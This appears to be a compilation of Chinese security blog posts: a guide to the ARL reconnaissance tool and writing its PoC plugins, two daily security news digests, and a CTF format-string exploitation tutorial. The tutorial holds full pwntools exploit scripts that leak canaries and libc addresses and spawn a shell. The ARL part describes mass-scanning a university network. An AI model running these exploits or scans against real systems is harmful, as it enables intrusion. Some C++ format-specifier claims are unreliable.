ARL分析与进阶使用
在使用ARL(Asset Reconnaissance Lighthouse资产侦察灯塔系统,项目地址地址为https://github.com/TophantTechnology/ARL)的时候,有两个问题比较困扰我:
1. ARL使用Fofa导入数据的时候怎么降重?
2. 如何自己手动编写Poc?
在网上查阅了一些相关资料后,我发现并没有有师傅写的很清晰,于是诞生了写这篇文章的想法。
这篇文章不涉及ARL的基础搭建过程和基础使用过程,如果您之前没有使用过ARL,详情可以参考官网教程:https://tophanttechnology.github.io/ARL-doc/system_install/
1.Fofa降重
先说结论,是由于Fofa_api的限制而不是ARL本身的问题
来源于我之前的使用体验,使用同样的Fofa语句,比如能搜到大量地的资产,但是ARL只会跑几千条,然后我们反复运行发现得到的资产结果是一致的,这样就大大地影响了配合Fofa使用好处,只能自己更换不同的Fofa语句来实现降重,非常麻烦。
首先我们先黑盒看看调用fofa的流程:
POST /api/task_fofa/test HTTP/2
{"query":"org=\"China Education and Research Network Center\""}HTTP/2 200 OK
{"message": "success", "code": 200, "data": {"size": 13492282, "query": "org=\"China Education and Research Network Center\""}}
可以看见这里返回的结果是13492282条
然后我们直接去项目里面去找:
路径为:ARL-2.6.1\app\routes\taskFofa.py
from flask_restx import Namespace, fields
from app.utils import get_logger, auth, build_ret, conn_db
from app.modules import ErrorMsg, CeleryAction
from app.services.fofaClient import fofa_query, fofa_query_result
from app import celerytask
from bson import ObjectId
from . import ARLResource
ns = Namespace('task_fofa', description="Fofa 任务下发")
logger = get_logger()
test_fofa_fields = ns.model('taskFofaTest', {
'query': fields.String(required=True, description="Fofa 查询语句")
})
@ns.route('/test')
class TaskFofaTest(ARLResource):
@auth
@ns.expect(test_fofa_fields)
def post(self):
"""
测试Fofa查询连接
"""
args = self.parse_args(test_fofa_fields)
query = args.pop('query')
data = fofa_query(query, page_size=1)
if isinstance(data, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if data.get("error"):
return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})
item = {
"size": data["size"],
"query": data["query"]
}
return build_ret(ErrorMsg.Success, item)
add_fofa_fields = ns.model('addTaskFofa', {
'query': fields.String(required=True, description="Fofa 查询语句"),
'name': fields.String(required=True, description="任务名"),
'policy_id': fields.String(description="策略 ID")
})
@ns.route('/submit')
class AddFofaTask(ARLResource):
@auth
@ns.expect(add_fofa_fields)
def post(self):
"""
提交Fofa查询任务
"""
args = self.parse_args(add_fofa_fields)
query = args.pop('query')
name = args.pop('name')
policy_id = args.get('policy_id')
task_options = {
"port_scan_type": "test",
"port_scan": True,
"service_detection": False,
"service_brute": False,
"os_detection": False,
"site_identify": False,
"file_leak": False,
"ssl_cert": False
}
data = fofa_query(query, page_size=1)
if isinstance(data, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if data.get("error"):
return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})
if data["size"] <= 0:
return build_ret(ErrorMsg.FofaResultEmpty, {})
fofa_ip_list = fofa_query_result(query)
if isinstance(fofa_ip_list, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if policy_id and len(policy_id) == 24:
task_options.update(policy_2_task_options(policy_id))
task_data = {
"name": name,
"target": "Fofa ip {}".format(len(fofa_ip_list)),
"start_time": "-",
"end_time": "-",
"task_tag": "task",
"service": [],
"status": "waiting",
"options": task_options,
"type": "fofa",
"fofa_ip": fofa_ip_list
}
task_data = submit_fofa_task(task_data)
return build_ret(ErrorMsg.Success, task_data)
def policy_2_task_options(policy_id):
options = {}
query = {
"_id": ObjectId(policy_id)
}
data = conn_db('policy').find_one(query)
if not data:
return options
policy_options = data["policy"]
policy_options.pop("domain_config")
ip_config = policy_options.pop("ip_config")
site_config = policy_options.pop("site_config")
options.update(ip_config)
options.update(site_config)
options.update(policy_options)
return options
def submit_fofa_task(task_data):
conn_db('task').insert_one(task_data)
task_id = str(task_data.pop("_id"))
task_data["task_id"] = task_id
task_options = {
"celery_action": CeleryAction.FOFA_TASK,
"data": task_data
}
celery_id = celerytask.arl_task.delay(options=task_options)
logger.info("target:{} celery_id:{}".format(task_id, celery_id))
values = {"$set": {"celery_id": str(celery_id)}}
task_data["celery_id"] = str(celery_id)
conn_db('task').update_one({"_id": ObjectId(task_id)}, values)
return task_data
其中有一个类和俩函数在其他地方:
# -*- coding:UTF-8 -*-
import base64
from app.config import Config
from app import utils
from celery.utils.log import get_task_logger
logger = get_task_logger(__name__)
class FofaClient:
def __init__(self, email, key, page_size=9999):
self.email = email
self.key = key
self.base_url = Config.FOFA_URL
self.search_api_url = "/api/v1/search/all"
self.info_my_api_url = "/api/v1/info/my"
self.page_size = page_size
self.param = {}
def info_my(self):
param = {
"email": self.email,
"key": self.key,
}
self.param = param
data = self._api(self.base_url + self.info_my_api_url)
return data
def fofa_search_all(self, query):
qbase64 = base64.b64encode(query.encode())
param = {
"email": self.email,
"key": self.key,
"qbase64": qbase64.decode('utf-8'),
"size": self.page_size
}
self.param = param
data = self._api(self.base_url + self.search_api_url)
return data
def _api(self, url):
data = utils.http_req(url, 'get', params=self.param).json()
if data.get("error") and data["errmsg"]:
raise Exception(data["errmsg"])
return data
def search_cert(self, cert):
query = 'cert="{}"'.format(cert)
data = self.fofa_search_all(query)
results = data["results"]
return results
def fetch_ip_bycert(cert, size=9999):
ip_set = set()
logger.info("fetch_ip_bycert {}".format(cert))
try:
client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=size)
items = client.search_cert(cert)
for item in items:
ip_set.add(item[1])
except Exception as e:
logger.warn("{} error: {}".format(cert, e))
return list(ip_set)
def fofa_query(query, page_size=9999):
try:
if not Config.FOFA_KEY or not Config.FOFA_KEY:
return "please set fofa key in config-docker.yaml"
client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=page_size)
info = client.info_my()
if info.get("vip_level") == 0:
return "不支持注册用户"
# 普通会员,最多只查100条
if info.get("vip_level") == 1:
client.page_size = min(page_size, 100)
data = client.fofa_search_all(query)
return data
except Exception as e:
error_msg = str(e)
error_msg = error_msg.replace(Config.FOFA_KEY[10:], "***")
return error_msg
def fofa_query_result(query, page_size=9999):
try:
ip_set = set()
data = fofa_query(query, page_size)
if isinstance(data, dict):
if data['error']:
return data['errmsg']
for item in data["results"]:
ip_set.add(item[1])
return list(ip_set)
raise Exception(data)
except Exception as e:
error_msg = str(e)
return error_msg
诶?我看到这个代码的时候我感觉他这里写的没有毛病,那么我的疑问变得更重了,为什么我查询的结果明明有一千万多条,但是实际到我们的项目条数就几千条:
conn_db('task').insert_one(task_data)
根据上面这条代码,于是我进入了docker容器,查看了数据库的具体信息:
大致数据就是下面这种格式:
"fofa_ip" : [ "xxx.xxx.xxx.xxx", ...... ], "celery_id" : "xxx", "statistic" : { "site_cnt" : 3935, "domain_cnt" : 0, "ip_cnt" : 2590, "cert_cnt" : 0, "service_cnt" : 0, "fileleak_cnt" : 3068, "url_cnt" : 0, "vuln_cnt" : 94, "npoc_service_cnt" : 0, "cip_cnt" : 0, "nuclei_result_cnt" : 0, "stat_finger
这里对应的fofa_ip数量与我在前端上面看到的数量一致,我就纳闷了为什么这里就只有这么几千条IP数量呢?我准备把这部分的代码手动抽出来在我本地上跑一遍试试看看结果到底是什么?
我在本地运行后发现返回的ip数量是由page_size决定的,如下面的代码
def fofa_query_result(query, page_size=9999):
try:
ip_set = set()
data = fofa_query(query, page_size)
if isinstance(data, dict):
if data['error']:
return data['errmsg']
for item in data["results"]:
ip_set.add(item[1])
return list(ip_set)
我将page_size改为20000,发现根本不返回结果了,这里我才想起来回到Fofa_API的官网去查看,发现了是API一次只能返回最多10000条的限制。
那么解决办法是什么呢?
我们可以看到Fofa Api这里存在一个翻页参数,我们的改进措施就是让ARL使用Fofa API的时候增加一个翻页参数而不是不添加导致每次都是第一页。面向大众的话,要我们一个一个去修改源代码是不太现实的,我这里将给原作者发起一个issue,期待他的更新。
最简单的措施就是我们改进一下Fofa语句:
(status_code="200" || banner="HTTP/1.1 200 OK") && org="China Education and Research Network Center"
避免过期资产误杀:
这里是有20万多条独立IP,我们可以利用Fofa_api先把这20多万条独立IP下载下来,使用ARL本身的添加任务功能将这些IP填进去,这样的缺陷就是不能跑Poc,要跑Poc的话可以等待我们这20多万的数据跑完一遍后,然后直接风险任务下发选择对应的Poc就可以了。
添加任务的时候使用下列的格式加入:
IP1
IP2
IP3
IP4
IP5
IP6
...
2.Poc编写
想要优雅地使用ARL,会自己编写更新Poc是必不可少的。
ARL的poc工具在路径/opt/ARL-NPoC/xing/plugins/poc中我们后续在这个路径去修改,我们可以从作者的仓库看看这个工具:https://github.com/1c3z/ARL-NPoC
这里需要单独注意一点,我们在安装的时候
pip3 install -r requirements.txt
这里最后一个PyYAML直接安装会报错,我们直接使用下列命令直接安装。
pip install PyYAML
然后安装运行:
pip3 install -e .
就可以使用了:
大致使用教程:
这里我拿直接ARL给我扫出来的一个弱口令进行验证:
xing brute -t 目标地址
然后我们就可以开始编写Poc了
我们来分析一个较为简单的但是很实用的Actuator API 未授权访问漏洞的POC:
from xing.core.BasePlugin import BasePlugin
from xing.utils import http_req
from xing.core import PluginType, SchemeType
class Plugin(BasePlugin):
def __init__(self):
super(Plugin, self).__init__()
self.plugin_type = PluginType.POC # 定义该插件的类型便于后续调用
self.vul_name = "Actuator API 未授权访问"
self.app_name = 'Actuator'
self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]
def verify(self, target):
paths = ["/env", "/actuator/env", "/manage/env", "/management/env", "/api/env", "/api/actuator/env"]
for path in paths:
url = target + path
conn = http_req(url)
if b'java.runtime.version' in conn.content:
self.logger.success("发现 Actuator API 未授权访问 {}".format(self.target))
return url
主要流程就是先定义一个插件的类,然后使用函数__init__(self)写出这个插件的一些信息,具体实现过程在verify函数中实现。
这里我就编写一个influxdb的未授权访问的漏洞:
from xing.core.BasePlugin import BasePlugin
from xing.utils import http_req
from xing.core import PluginType, SchemeType
class Plugin(BasePlugin):
def __init__(self):
super(Plugin, self).__init__()
self.plugin_type = PluginType.POC
self.vul_name = "Influxdb未授权访问"
self.app_name = 'Influxdb'
self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]
def verify(self, target):
url = target + "/query?q=SHOW%20USERS"
conn = http_req(url)
if b'"results":' in conn.content:
self.logger.success("发现 Influxdb 未授权访问 {}".format(self.target))
return url
else:
return False
然后我们直接在本地复现一下,是可以使用的:
接着我们部署到我们的服务器上,注意这里我们将POC同步到arl_web和arl_work两个容器中:
大致流程就是分别进入这两个容器然后添加对应文件下的Poc即可:
cd /opt/ARL-NPoC/xing/plugins/
我们更新一下Poc后再前端也可以查看到了:
然后经过测试确实可以:
3.总结
在我的实际渗透测试过程中,ARL给我的信息搜集带来了很大的便利性。是一种全面的信息搜集的有力方式!这篇文章主要是解决一点使用ARL过程中的问题,以及编写自己的Poc的流程。
网络安全日报 2024年02月20日
1、伊朗黑客利用新的BASICSTAR后门瞄准中东政策专家
https://www.hackread.com/tictactoe-dropper-steals-data-windows-threats/ 研究人员发现名为 Charming Kitten 的伊朗裔威胁行为者通过创建一个虚假的网络研讨会门户,通过名为BASICSTAR的新后门,与一系列针对中东政策专家的新攻击有关。Charming Kitten,也称为 APT35、CharmingCypress、Mint Sandstorm、TA453 和 Yellow Garuda,有着策划各种社会工程活动的历史,这些活动在其目标上撒下了广泛的网络,通常专门针对智囊团、非政府组织和记者。研究人员表示:
2、新的Chrome功能可阻止针对家庭网络的攻击
https://www.bleepingcomputer.com/news/google/new-google-chrome-feature-blocks-attacks-against-home-networks/ 谷歌正在测试一项新功能,以防止恶意公共网站通过用户浏览器攻击内部专用网络上的设备和服务。谷歌计划防止互联网上的不良网站攻击访问者家中或计算机上的设备(如打印机或路由器)。人们通常认为这些设备是安全的,因为它们不直接连接到互联网并受到路由器的保护。在 Google 提供的示例中,开发人员展示了公共网站上的 HTML iframe,该框架执行 CSRF 攻击,从而更改访问者本地网络
3、大规模公共事业诈骗活动通过Google在线广告传播
https://www.malwarebytes.com/blog/threat-intelligence/2024/02/massive-utility-scam-campaign-spreads-via-online-ads 研究人员发现通过 Google 搜索向用户展示的大量欺诈广告活动。并发现的广告数量超过了在之前的恶意广告案例中发现的数量。研究人员对此种诈骗手段进行分析期望达到两个目的,第一个目的是通过展示这个问题的工作原理来引起人们对这个问题的认识。其次,收集并分享了尽可能多的广告和虚假网站,希望有关部门能够采取行动,并令诈骗者付出一些代价。
4、黑客声称盗取Robert Half公司数据并进行非法销售
https://www.hackread.com/hackers-claim-robert-half-data-breach/ 目前,被盗数据恶意论坛上以 20,000 美元的门罗币 (XMR) 加密货币价格出售。值得注意的是,该数据列表最初出现于 2024 年 2 月 8 日星期四,此后一直保持活跃状态。黑客声称他们在同一天入侵了 RobertHalf.com,这表明这次所谓的数据泄露与 2022 年发生的前一次数据泄露事件不同。但是,目前尚不确定这些黑客是否是对之前的泄露事件负责的同一位黑客。黑客还分享了据称显示被盗数据、Git 存储库和 AWS 相关系统设置的屏幕截图。2022 年 6
5、 NSO 集团使用的神秘“彩信指纹”黑客行为曝光
https://www.securityweek.com/mysterious-mms-fingerprint-hack-used-by-spyware-firm-nso-group-revealed/ NSO 与加纳电信监管机构之间的合同中的一行内容表明,间谍软件公司 NSO Group 使用了一种以前未知的感染技术。该合同包含在 WhatsApp 和 NSO 之间正在进行的法庭案件的文件中。 “感染辅助工具”下标有一个标题为“MMS 指纹”的条目。 NSO 声称它可以揭示目标设备和目标设备的操作系统,“无需用户交互、参与或打开消息”,并且可用于针对 Android、黑莓和 iOS。
6、代号“克罗诺斯行动”的国际执法行动破坏了LockBit 勒索软件
https://securityaffairs.com/159360/cyber-crime/operation-cronos-disrupted-lockbit-operation.html 来自 11 个国家的执法机构开展的代号为“克罗诺斯行动”的联合执法行动扰乱了LockBit 勒索软件的运作。
7、Meta警告8家间谍软件公司针对 iOS/安卓和Windows 设备
https://thehackernews.com/2024/02/meta-warns-of-8-spyware-firms-targeting.html Meta Platforms 表示,它采取了一系列措施来遏制来自意大利、西班牙和阿拉伯联合酋长国 (UAE) 的八家不同公司的恶意活动,这些公司从事租赁监控行业。该公司表示:“他们的各种恶意软件包括收集和访问设备信息、位置、照片和媒体、联系人、日历、电子邮件、短信、社交媒体和消息应用程序,以及启用麦克风、摄像头和屏幕截图功能的功能。”这八家公司是 Cy4Gate/ELT Group、RCS Labs、IPS Intelligence、V
8、美国对疑似伊朗军事间谍船开展网络攻击
https://www.secrss.com/articles/63700 美媒报道称,作为对伊朗支持的胡塞武装 1 月攻击美军驻约旦后勤基地的报复行动,美国近日对伊朗军事间谍船贝赫沙德号开展了网络攻击。
9、宝马确认发生数据泄露事件:云存储服务器配置错误
https://www.ithome.com/0/750/672.htm 据外媒 TechCrunch 近日报道,汽车巨头宝马的云存储服务器发生配置错误事件,导致私钥和内部数据等敏感信息暴露。
10、公安部门提醒:快递盒里的红包“暗藏玄机”,千万不要扫
https://www.ithome.com/0/750/584.htm 诈骗分子通过在快递上,放置或粘贴二维码引诱收货人去扫码,诱导收货人,下载涉诈 App 或进入涉诈网址,进而对收货人实施刷单或虚假投资理财类诈骗。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月19日
1、SpyNote安卓间谍软件冒充合法加密钱包窃取资金
https://www.hackread.com/spynote-android-spyware-legit-crypto-wallets 研究人员最新研究显示,Android 间谍软件 SpyNote 开发人员现在正在考虑加密货币,不仅仅是凭证间谍,还可以启动加密货币传输。研究人员指出,Spynote 是一种臭名昭著的远程访问木马 ( RAT ),现在通过滥用 Accessibility API 瞄准“著名的加密钱包”。该 API 的工作是自动执行 UI 操作,例如记录设备解锁手势,主要对残障人士有帮助。恶意代码滥用 Accessibility API 自动填写表格并将加密货币转移给网络犯
2、Kryptina RaaS勒索工具从付费服务变为公开可用
https://www.sentinelone.com/blog/kryptina-raas-from-underground-commodity-to-open-source-threat/ 过去五年多来,勒索软件攻击激增的关键驱动因素之一是勒索软件即服务模式的发展和扩散,这种模式为网络犯罪分子提供易于使用、低成本的工具,开展和管理勒索软件活动。研究人员最近观察到的 Kryptina Raas 是一个专用的 Linux 攻击框架,它为该模型添加了新的变化:从付费服务转变为公开可用的工具。。本文探讨了 Kryptina RaaS 的发展、技术细节和影响及其向开源犯罪软件的发展,并深入探讨防御
3、研究人员发现DNSSEC中设计漏洞KeyTrap
https://www.athene-center.de/en/news/press/key-trap 研究人员发现,域名系统安全扩展 (DNSSEC) 功能中名为 KeyTrap 的严重漏洞可能会被利用来长时间拒绝应用程序的互联网访问。KeyTrap 的编号为 CVE-2023-50387,它是 DNSSEC 中的一个设计问题,会影响所有流行的域名系统 (DNS) 实施或服务。它允许远程攻击者通过发送单个 DNS 数据包在易受攻击的解析器中造成长期持续的拒绝服务 (DoS) 情况。黑客只需一个 DNS 数据包就可以阻止所有广泛使用的 DNS 实施和公共 DNS 提供商。利用此攻击将对任何使
4、新的Wi-Fi身份验证绕过漏洞暴露家庭和企业网络
https://www.top10vpn.com/research/wifi-vulnerabilities/ 研究人员发现开源 WiFi 软件中的两个新漏洞允许攻击者诱骗受害者连接到受信任网络的恶意克隆并拦截其流量,并无需密码即可加入其他安全网络。其中一个漏洞影响连接到企业 WiFi 网络的 Android、ChromeOS 和 Linux 设备,另一个漏洞影响使用 Linux 设备作为无线接入点的家庭 WiFi。
5、RansomHouse利用新工具MrAgent自动执行网络攻击
https://www.trellix.com/blogs/research/ransomhouse-am-see/ RansomHouse 勒索软件操作创建了一个名为“MrAgent”的新工具,可以跨多个 VMware ESXi 虚拟机管理程序自动部署其数据加密器。RansomHouse 是一种勒索软件即服务 (RaaS) 操作,于 2021 年 12 月出现,采用双重勒索策略。该组织被发现使用一种名为 Mario ESXi 的独特勒索软件变体以及 MrAgent,针对基于 Windows 和 Linux 的系统。该勒索软件与 Babuk 共享代码,这在逆向两个样本时变得显而易见。鉴于 B
6、谷歌开源 Magika人工智能驱动的文件识别工具
https://thehackernews.com/2024/02/google-open-sources-magika-ai-powered.html 谷歌宣布开源Magika,这是一款人工智能 (AI) 支持的文件类型识别工具,可帮助防御者准确检测二进制和文本文件类型。
7、ESET修复了Windows产品中的高危提权漏洞
https://securityaffairs.com/159280/breaking-news/eset-local-privilege-escalation-windows.html 网络安全公司 ESET 已解决其 Windows 安全解决方案中的高严重性特权提升漏洞。 编号为 CVE-2024-0353。
8、FBI 通缉犯 Zeus 和 IcedID 恶意软件主谋认罪
https://thehackernews.com/2024/02/fbis-most-wanted-zeus-and-icedid.html 一名乌克兰公民在美国承认自己在 2009 年 5 月至 2021 年 2 月期间参与了两个不同的恶意软件计划(Zeus 和 IcedID)。IcedID 恶意软件团伙头目 Zeus 认罪,面临 40 年监禁
9、SolarWinds 曝出五个严重的RCE漏洞
https://www.freebuf.com/news/391895.html SolarWinds 近期修补了 Access Rights Manager (ARM) 解决方案中的五个远程代码执行 (RCE) 漏洞,其中包括三个允许未验证利用的严重漏洞!
10、某军民融合企业平台存安全漏洞被境外“网络间谍”入侵
https://www.thepaper.cn/newsDetail_forward_26367406 国家安全机关工作发现,近年来,境外“网络间谍”利用我重要单位安全防范不到位、工作疏忽、贪图便利等机会,持续通过各种方式,攻击我境内重点要害单位、部门、企业的信息化系统,并建立隐蔽传输通道,持续窃取我重要敏感数据,危害我国数据安全、网络安全。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
PWN学习之格式化字符串及CTF常见利用手法
格式化字符串的基本漏洞点
格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。
格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串并进行输出。当这些函数的格式字符串参数(比如 %s、%d等)由用户提供时,如果未正确地对用户提供的输入进行验证和过滤,就可能存在格式化字符串漏洞。
攻击者可以通过构造特定的格式化字符串,利用漏洞读取和修改程序内存中的敏感数据。一些可能的攻击方式包括:
读取内存:通过在格式字符串中使用 %x 或 %s 占位符,可以泄露栈上和堆上的内存内容,例如函数返回地址、内部变量值等。
修改内存:通过在格式字符串中使用 %n 占位符,可以将已输出字符的数量写入指定地址,从而实现对内存的修改。
常用任意改:%c和%n的配合使用
我们格式化字符串修改的是第一层指针中的内容 即我们只能写a->b->c中c的内容
p64()+b'%nc'+'%A$n'
#第A位栈中偏移位 向第A位的地址中改写为数字n的大小,一次n只能最多改4个字节大小的数据
在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。因此,它的容量取决于可控制的输出大小,通常在4字节范围内。 %h格式字符串将16位无符号整数写入指定地址。由于其只能写入两个字节,因此其容量范围为0到65535。 %hhn格式字符串将8位无符号整数写入指定地址。由于其只能写入一个字节,因此其容量范围为0到255。 需要注意的是,使用这些格式字符串时,必须非常小心以确保正确性和安全性。在使用这些格式字符串进行漏洞利用
不同版本的堆管理和栈偏移有可能不一样c
aaaa%p..... 32位测输入点偏移 aaaaaaaa%p...... 64位测输入点偏移
特别注意(截断函数\x00对payload的影响)
利用 fmtarg 测量某个栈上地址在栈上的偏移位置
8字节(64位)数据或者4字节(32位)数据占一个偏移位
One_gadget 结合应用:
one_gadget在进行getshell ()前要先满足寄存器的条件
另一种可能的方法:
如果能泄露出栈地址,就能够像非栈上的格式化字符串那样,将布置的栈结构放在栈上然后劫持返回地址,就可以达到多次写的效果。(即利用可以利用多次的格式化字符串)
例题:国际赛final_ctf 2(同时读写加One_gadget):
解题步骤
首先我们直接先进行代码审计如下图:
我们发现了他的基本漏洞点为栈上的格式化字符串
漏洞利用和需要注意的点
我们进行该漏洞点的利用:首先查看栈上状况
我们在这里需要同时一次读写机会利用栈上的格式化字符串任意读写
所以要考虑到截断的问题所以要进行截断的避免,我们调整payload在最后填入栈上的对应偏移的地址填为size的bss地址进行格式化字符串改,改完之后效果如下:
最后再使用一次ubuntu20.04下的one_gadget设置即可getshell
注意这里为了满足20.04下严苛的条件我们需要对寄存器进行设置
> pop_r12:0x40086c
> pop=0x040086c#pop了5个寄存器
> one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
> one_gadget_addr=libc_base+one_gadget_offset[0]#20840
> #最后打one
> payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
> p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
最后exp如下
from pwn import*
#from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
choice=1
if choice == 1:
p=process('./one-format-string')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#当前链接的libc版本
elf=ELF('./one-format-string')
address=0x400780
gdb.attach(p,"finish\n b *address")
sleep(1)
size=0x601060 #14
payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同时读写
#这里的最后的size地址是为了填到栈上相对应的偏移位置我们可以直接对其进行修改
p.sendlineafter(b'name: \n',payload)
p.recvuntil("aaaaa")
main_start_243=int(p.recv(14),16)
libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main']
print("leak_addr",hex(main_start_243))
print("libc_base",hex(libc_base))
p.recvuntil(b'|')
canary=int(p.recv(18),16)
pop_r12:0x40086c
print("canary",hex(canary))
pop=0x040086c#pop了5个寄存器
one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
one_gadget_addr=libc_base+one_gadget_offset[0]#20840
#最后打one
payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
p.interactive()
这里需要注意的点:
是我们要考虑printf对\X00 字符串的截断
正确的payload.只有这一种形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)
因为x00的存在,所以Printf:无法使用到后面的%16$n
补充:c语言下的所有格式化识别符
C语言中的格式化字符是用于格式化输出的占位符,常用于printf等函数中。下面是常用的格式化字符及其含义:
%d:输出有符号整数。
%u:输出无符号整数。
%f:输出浮点数。
%c:输出单个字符。
%s:输出字符串。
%p:输出指针的地址。
%e:用科学计数法输出浮点数。
%E:用科学计数法输出浮点数,并将e大写。
%g:输出浮点数,自动选择%f或%e格式。
%G:输出浮点数,自动选择%f或%E格式,并将E大写。
%x:输出无符号整数的十六进制数。
%o:输出无符号整数的八进制数。
%X:输出无符号整数的十六进制数,并将字母ABCDEF大写。
%i:输出有符号整数。
%n:输出已经输出的字符数。
%%:输出%字符本身。
需要注意的是,这些格式化字符可以与其它字符组合使用,例如%d和%10d分别表示输出有符号整数和输出宽度为10个字符的有符号整数。
C++ 中的格式化字符串的识别符与 C 语言是基本相同的,也包括上述提到的常用的格式化字符。不过 C++ 中还增加了一些额外的格式化字符串识别符,例如:
%a:输出十六进制浮点数,包括小数点和指数(如果存在)。
%A:输出十六进制浮点数,包括小数点和指数(如果存在),并将X和P大写。
%lld:输出长长整数。
%zu:输出size_t类型的无符号整数。
%n:和 C 语言相同,输出已经输出rra=[S字符数。
%t:在格式化字符串中使用std::chrono::time_point类型的时间。
需要注意的是,不同编译器可能对 C 和 C++ 的格式化字符串识别符实现略有不同,所以在使用时需要根据实际情况进行调整。
ctf中不同考察点的例题以及思路解析:
[虎符CTF 2022]babygame(格式化字符串和随机数绕过)
保护全开,我们进行静态代码审计
通过观察他的canary可以看到他在栈中的位置
思路: 1.先通过回显泄露canary和栈地址
注意但是我们知道canary的上面就是seed,所以此时的seed已经被我们覆盖为0x6161616161616161了
2.通过修改函数的返回地址的最后两个字节再次进行一次格式化字符串利用 3.打one_gad
exp如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./babygame')
io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa')
io.recvuntil(b'Hello, ')
io.recv(260 + 12)
stack_addr = u64(io.recv(6) + b'\x00\x00')
srand = 0x30393837
answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,
2, 2, 2, 1, 1, 1, 2, 0, 1, 0,
0, 0, 0, 1, 0, 1, 1, 2, 2, 1,
2, 2, 2, 1, 1, 0, 1, 2, 1, 2,
1, 0, 1, 2, 1, 2, 0, 0, 1, 1,
2, 0, 1, 2, 1, 1, 2, 0, 2, 1,
0, 2, 2, 2, 2, 0, 2, 1, 1, 0,
2, 1, 1, 2, 0, 2, 0, 1, 1, 2,
1, 1, 1, 2, 2, 0, 0, 2, 2, 2,
2, 2, 0, 1, 0, 0, 1, 2, 0, 2]
for i in range(100):
try:
io.sendlineafter(b'round', str(answer[i]).encode())
except EOFError:
print("Failed in " + str(i))
exit(0)
io.sendlineafter(b'Good luck to you.',
b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))
io.recvuntil(b'0x')
libc_addr = int(io.recv(12).decode(), 16)
print(hex(libc_addr))
libc_addr -= 243
Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
base = libc_addr - Libc.symbols['__libc_start_main']
libc_system_addr = Libc.symbols['system']
mem_system_addr = base + libc_system_addr
print(hex(stack_addr - 0x218))
one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base]
payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]})
io.sendlineafter(b'Good luck to you.', payload)
io.interactive()
与malloc和free相关的格式化字符串漏洞
alloca函数(在栈上分配空间)
#include <stdio.h>
#include <stdlib.h>
#include <alloca.h>
int open_file (const char *dir, const char *file)
{
char *name = (char *) alloca (strlen (dir) + strlen (file) + 2);
strcpy (name, dir);
strcat (name, "/");
strcat (name, file);
return open (name, O_RDONLY);
}
这个函数用alloca函数在栈上分配了一个足够存储两个参数字符串拼接后的文件名的空间,并返回打开该文件的文件描述符或-1表示失败。当函数返回时,name指向的内存会自动释放。
alloca在栈上分配内存,而malloc在堆上分配内存。alloca分配的内存在函数返回时自动释放,不需要手动free,这样可以避免忘记释放或重复释放的问题。
alloca分配内存的速度很快,而且几乎不浪费空间。alloca也不会导致内存碎片化,因为它没有为不同大小的块分配单独的池。
alloca可以用来创建变长数组,在C99之前没有这个功能。
当然,alloca也有一些缺点和限制,比如:
alloca分配的内存不能跨函数使用,因为它会在函数返回时被释放。
alloca可能导致栈溢出,因为栈空间有限(通常只有几KB),而堆空间远大于栈空间。
alloca不是标准C函数,它可能在不同的平台和编译器上有不同的行为或实现方式
利用思路:
printf函数在输出较多内容时,会调用malloc函数分配缓冲区,输出结束之后会调用free函数释放申请的缓冲区内存。同样的scanf函数也会调用malloc。
[SDCTF 2022]Oil Spill(在栈上输入的动化格式化字符串漏洞随意写)
此工具的下载地址:
https://lzeroyuee.cn/2021/02/28/Linux-Pwn-pwntools-fmtstr%E6%A8%A1%E5%9D%97/ fmtstr_payload用于自动生成格式化字符串payload
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
